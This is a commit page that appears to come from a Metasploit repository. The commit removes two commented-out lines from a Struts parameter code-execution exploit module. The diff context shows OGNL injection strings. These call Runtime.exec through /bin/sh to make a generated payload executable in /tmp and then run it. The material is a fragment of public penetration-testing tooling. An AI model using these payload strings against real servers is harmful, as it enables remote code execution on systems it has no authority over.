Skip to content

Commit 8027615

Browse files
committed
fixed comments left in by accident
1 parent 4edf526 commit 8027615

File tree

1 file changed

+0
-2
lines changed

1 file changed

+0
-2
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -96,13 +96,11 @@ def exploit
9696
pl_exe = generate_payload_exe
9797
chunk_length = 384
9898
append = 'false'
99-
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
10099
#Now arch specific...
101100
case target['Platform']
102101
when 'linux'
103102
chunk_length = 128 #Complains of a long filename if left default.
104103
@payload_exe = "/tmp/#{@payload_exe}"
105-
# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
106104
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
107105
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
108106
when 'java'

0 commit comments

Comments
 (0)